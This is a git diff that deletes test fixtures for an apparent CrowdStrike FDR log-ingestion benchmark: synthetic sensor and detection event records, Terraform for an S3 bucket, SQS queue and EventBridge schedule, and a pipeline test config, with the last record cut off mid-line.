-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"}
-{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"}
-{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"}
-{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"}
-{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1601546312519"}
-{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"}
-{"BootArgs":" NOEXECUTE=OPTIN  HYPERVISORLAUNCHTYPE=AUTO  FVEBOOT=2125824  NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"}
-{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"}
-{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"}
-{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"}
-{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"}
-{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":{"Name":"DOMAIN\\BRADLEYA","ID":"1000"},"UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ad","event_platform":"Win","monthsincereset":"1.0"}
-{"ChangeId":"ca65aa54f7b9453b8ef199a5b2c8e3c4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764581217862,"Nonce":13140498271151144192,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-01T09:26:57Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf
deleted file mode 100644
index ac47ae84b0..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf
+++ /dev/null
@@ -1,125 +0,0 @@
-provider "aws" {
-  default_tags {
-    tags = {
-      environment  = var.ENVIRONMENT
-      repo         = var.REPO
-      branch       = var.BRANCH
-      build        = var.BUILD_ID
-      created_date = var.CREATED_DATE
-    }
-  }
-}
-
-resource "aws_s3_bucket" "crowdstrike_fdr" {
-  bucket = "${var.bucket_name}-${var.TEST_RUN_ID}"
-}
-
-resource "aws_s3_object" "crowdstrike_data" {
-  bucket = aws_s3_bucket.crowdstrike_fdr.id
-  key    = "data"
-  source = "./files/fdr-sample.log"
-}
-
-resource "aws_s3_object" "crowdstrike_aidmaster" {
-  bucket = aws_s3_bucket.crowdstrike_fdr.id
-  key    = "fdrv2/aidmaster"
-  source = "./files/fdr-0_aidmaster.log"
-}
-
-resource "aws_s3_object" "crowdstrike_userinfo" {
-  bucket = aws_s3_bucket.crowdstrike_fdr.id
-  key    = "fdrv2/userinfo"
-  source = "./files/fdr-0_userinfo.log"
-}
-
-resource "aws_sqs_queue" "crowdstrike_queue" {
-  name = "elastic-package-crowdstrike-queue-${var.TEST_RUN_ID}"
-}
-
-# IAM Policy for EventBridge Scheduler
-resource "aws_iam_policy" "sqs_access_policy" {
-  count       = var.eventbridge_role_arn == null ? 1 : 0
-  name        = "sqs-access-policy-${var.TEST_RUN_ID}"
-  description = "Policy for EventBridge Scheduler to send messages to SQS"
-
-  policy = jsonencode({
-    Version = "2012-10-17"
-    Statement = [
-      {
-        Action = [
-          "sqs:ReceiveMessage",
-          "sqs:SendMessage"
-        ],
-        Effect   = "Allow"
-        Resource = aws_sqs_queue.crowdstrike_queue.arn
-      }
-    ]
-  })
-}
-
-# IAM Role for EventBridge Scheduler
-resource "aws_iam_role" "eventbridge_scheduler_iam_role" {
-  count               = var.eventbridge_role_arn == null ? 1 : 0
-  name_prefix         = "eb-scheduler-role-${var.TEST_RUN_ID}-"
-  managed_policy_arns = [aws_iam_policy.sqs_access_policy.0.arn]
-  path                = "/"
-  assume_role_policy  = <<EOF
-{
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Effect": "Allow",
-            "Principal": {
-                "Service": "scheduler.amazonaws.com"
-            },
-            "Action": "sts:AssumeRole"
-        }
-    ]
-}
-EOF
-}
-
-// Simulate CrowdStrike sending its notification events to SQS. CrowdStrike
-// uses a custom notification format that is different than the AWS S3 event
-// notification format.
-resource "aws_scheduler_schedule" "eventbridge_scheduler_every1minute" {
-  name       = "eventbridge_scheduler_crowdstrike_fdr_sqs-${var.TEST_RUN_ID}"
-  group_name = "default"
-
-  flexible_time_window {
-    mode = "OFF"
-  }
-
-  schedule_expression = "rate(1 minutes)"
-
-  target {
-    arn      = aws_sqs_queue.crowdstrike_queue.arn
-    role_arn = var.eventbridge_role_arn == null ? aws_iam_role.eventbridge_scheduler_iam_role.0.arn : var.eventbridge_role_arn
-
-    input = jsonencode({
-      cid        = "ffffffff15754bcfb5f9152ec7ac90ac"
-      timestamp  = 1625677488615
-      fileCount  = 3
-      totalSize  = 120161
-      bucket     = aws_s3_bucket.crowdstrike_fdr.id
-      pathPrefix = "data/f0714ca5-3689-448d-b5cc-582a6f7a56b1"
-      "files" : [
-        {
-          "path" : aws_s3_object.crowdstrike_data.key,
-          "size" : 115258,
-          "checksum" : "c24b5525ad5d4b3ff92bb3c9c002bdc7"
-        },
-        {
-          "path" : aws_s3_object.crowdstrike_aidmaster.key,
-          "size" : 4414,
-          "checksum" : "a06a88462e6950f0be3bb83230047e87"
-        },
-        {
-          "path" : aws_s3_object.crowdstrike_userinfo.key,
-          "size" : 489,
-          "checksum" : "349c96ed5531edce2233ad417123736d"
-        }
-      ]
-    })
-  }
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/outputs.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/outputs.tf
deleted file mode 100644
index f209748004..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/outputs.tf
+++ /dev/null
@@ -1,3 +0,0 @@
-output "queue_url" {
-  value = aws_sqs_queue.crowdstrike_queue.url
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/variables.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/variables.tf
deleted file mode 100644
index 2d36f150ab..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/variables.tf
+++ /dev/null
@@ -1,48 +0,0 @@
-variable "BRANCH" {
-  description = "Branch name or pull request for tagging purposes"
-  default     = "unknown-branch"
-}
-
-variable "BUILD_ID" {
-  description = "Build ID in the CI for tagging purposes"
-  default     = "unknown-build"
-}
-
-variable "CREATED_DATE" {
-  description = "Creation date in epoch time for tagging purposes"
-  default     = "unknown-date"
-}
-
-variable "ENVIRONMENT" {
-  default = "unknown-environment"
-}
-
-variable "REPO" {
-  default = "unknown-repo-name"
-}
-
-variable "TEST_RUN_ID" {
-  default = "detached"
-}
-
-variable "bucket_name" {
-  default = "elastic-package-crowdstrike-fdr"
-}
-
-variable "queue_name" {
-  default = "elastic-package-crowdstrike-fdr"
-}
-
-// If testing using the elastic-siem account then add the following line to
-// services.terraform.environment in the env.yml file to override this
-// variable.
-//
-//   TF_VAR_eventbridge_role_arn=arn:aws:iam::144492464627:role/eb-scheduler-role-20231101165501426500000001
-//
-// This is needed because the elastic-siem user accounts do not allow IAM
-// changes.
-variable "eventbridge_role_arn" {
-  description = "ARN of the role that EventBridge should assume to send SQS notifications."
-  default     = null
-  type        = string
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-common-config.yml
deleted file mode 100644
index 2e996c24ad..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-common-config.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-fields:
-  "@timestamp": "2020-04-28T11:07:58.223Z"
-  tags:
-    - preserve_original_event
-numeric_keyword_fields:
-  - crowdstrike.PatternId
-  - crowdstrike.NetworkAccesses.AccessTimestamp
-  - crowdstrike.NetworkAccesses.AccessType
-  - crowdstrike.NetworkAccesses.ConnectionDirection
-  - crowdstrike.NetworkAccesses.IsIPV6
-  - crowdstrike.NetworkAccesses.LocalPort
-  - crowdstrike.NetworkAccesses.RemotePort
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log
deleted file mode 100644
index f892ce803c..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log
+++ /dev/null
@@ -1,5 +0,0 @@
-{"eid":118,"SensorId":"55555555555555555555555555555555","Tactic":"Machine Learning","CustomerIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","EventType":"Event_ExternalApiEvent","ParentProcessId":1680759529306198500,"FileName":"webhook","UTCTimestamp":1680759530000,"FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ParentImageFileName":"/bin/busybox","MachineDomain":"","GrandparentImageFileName":"/memfd:runc_cloned:/proc/self/exe (deleted)","HostGroups":"26666666666666666666666666666666","OriginSourceIpAddress":"","SHA1String":"0000000000000000000000000000000000000000","ProcessEndTime":0,"IOCValue":"31a0f9b83d1cd121cef133333333333333333333333333333333333333333333","LocalIP":"172.17.0.1","DetectDescription":"This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.","ParentCommandLine":"/bin/sh ./run.sh","Tags":"SensorGroupingTags/aws-k8s-production","timestamp":"2023-04-06T05:38:50Z","FilePath":"/","UserName":"cherry","PatternDispositionFlags":{"BootupSafeguardEnabled":false,"QuarantineFile":false,"QuarantineMachine":false,"HandleOperationDowngraded":false,"Detect":false,"RegistryOperationBlocked":false,"KillParent":false,"Indicator":false,"FsOperationBlocked":false,"OperationBlocked":false,"SuspendParent":false,"SuspendProcess":false,"KillProcess":true,"ProcessBlocked":false,"BlockingUnsupportedOrDisabled":false,"PolicyDisabled":true,"KillActionFailed":false,"SensorOnly":false,"CriticalProcessDisabled":false,"KillSubProcess":false,"Rooting":false,"InddetMask":false},"EventUUID":"14688888888888888888888888888888","MD5String":"cf288888888888888888888888888888","SeverityName":"Medium","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","Severity":3,"DetectId":"ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111","PatternDispositionValue":272,"ExternalApiType":"Event_DetectionSummaryEvent","SHA256String":"31a0333333333333333333333333333333333333333333333333333333333333","Nonce":1,"Objective":"Falcon Detection Method","CommandLine":"./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000","MACAddress":"02-02-02-02-02-02","GrandparentCommandLine":"runc init","ProcessStartTime":1680759529,"ComputerName":"ip-172-18-63-230.ec2.internal","DetectName":"NGAV","AgentIdString":"45444444444444444444444444444444","IOCType":"hash_sha256","ProcessId":1680759529508885200,"Technique":"Sensor-based ML","AssociatedFile":"/webhook","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}
-{"eid":119,"SensorId":"666666666","Tactic":"Machine Learning","CustomerIdString":"bbbbbbb","EventType":"Event_ExternalApiEvent","ParentProcessId":1680759529306198500,"FileName":"webhook","UTCTimestamp":1680659520000,"FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ParentImageFileName":"/bin/busybox","MachineDomain":"","GrandparentImageFileName":"/memfd:runc_cloned:/proc/self/exe (deleted)","HostGroups":"26666666666666666666666666666666","OriginSourceIpAddress":"","SHA1String":"0000000000000000000000000000000000000000","ProcessEndTime":1680769672,"IOCValue":"31a0f9b83d1cd121cef133333333333333333333333333333333333333333333","LocalIP":"172.17.0.1","DetectDescription":"This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.","ParentCommandLine":"/bin/sh ./run.sh","Tags":"SensorGroupingTags/aws-k8s-production","timestamp":"2023-04-06T05:38:50Z","FilePath":"/","UserName":"cherry","PatternDispositionFlags":{"BootupSafeguardEnabled":false,"QuarantineFile":false,"QuarantineMachine":false,"HandleOperationDowngraded":false,"Detect":false,"RegistryOperationBlocked":false,"KillParent":false,"Indicator":false,"FsOperationBlocked":false,"OperationBlocked":false,"SuspendParent":false,"SuspendProcess":false,"KillProcess":true,"ProcessBlocked":false,"BlockingUnsupportedOrDisabled":false,"PolicyDisabled":true,"KillActionFailed":false,"SensorOnly":false,"CriticalProcessDisabled":false,"KillSubProcess":false,"Rooting":false,"InddetMask":false},"EventUUID":"14688888888888888888888888888888","MD5String":"cf288888888888888888888888888888","SeverityName":"Medium","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","Severity":3,"DetectId":"ldt:45bbbbbbbbbbbbbbbbbbbbbbbbbbbbbb:111111111","PatternDispositionValue":272,"ExternalApiType":"Event_DetectionSummaryEvent","SHA256String":"31a0333333333333333333333333333333333333333333333333333333333333","Nonce":1,"Objective":"Falcon Detection Method","CommandLine":"./webhook -verbosity=0 -port=8080 -cacheLimit=26000 -cacheTtl=7200 -maxClientConnsPerHost=5000 -maxDialsPerSecond=1800 -fakeMode=false -useMemoryLimit=true -memoryLimit=4096Mi -memoryLimitWarning=80 -memoryLimitCritical=90 -maxSurgeRPS=10000","MACAddress":"02-02-02-02-02-02","GrandparentCommandLine":"runc init","ProcessStartTime":1680759529,"ComputerName":"ip-172-18-63-230.ec2.internal","DetectName":"NGAV","AgentIdString":"45444444444444444444444444444444","IOCType":"hash_sha256","ProcessId":1680759529508885200,"Technique":"Sensor-based ML","AssociatedFile":"/webhook","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}
-{"eid":119,"SensorId":"666666666","Tactic":"Machine Learning","CustomerIdString":"bbbbbbb","EventType":"Event_ExternalApiEvent","ParentProcessId":1680759529306198500,"FileName":"webhook","UTCTimestamp":1680659520000,"FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity/detections/detail/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/111111111?_cid=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ParentImageFileName":"/bin/busybox","MachineDomain":"","GrandparentImageFileName":"/memfd:runc_cloned:/proc/self/exe (deleted)","HostGroups":"26666666666666666666666666666666","OriginSourceIpAddress":"","SHA1String":"0000000000000000000000000000000000000000","ProcessEndTime":1680769672,"IOCValue":"31a0f9b83d1cd121cef133333333333333333333333333333333333333333333","LocalIP":"172.17.0.1","DetectDescription":"This file meets the machine learning-based on-sensor AV protection's medium confidence threshold for malicious files.","ParentCommandLine":"/bin/sh 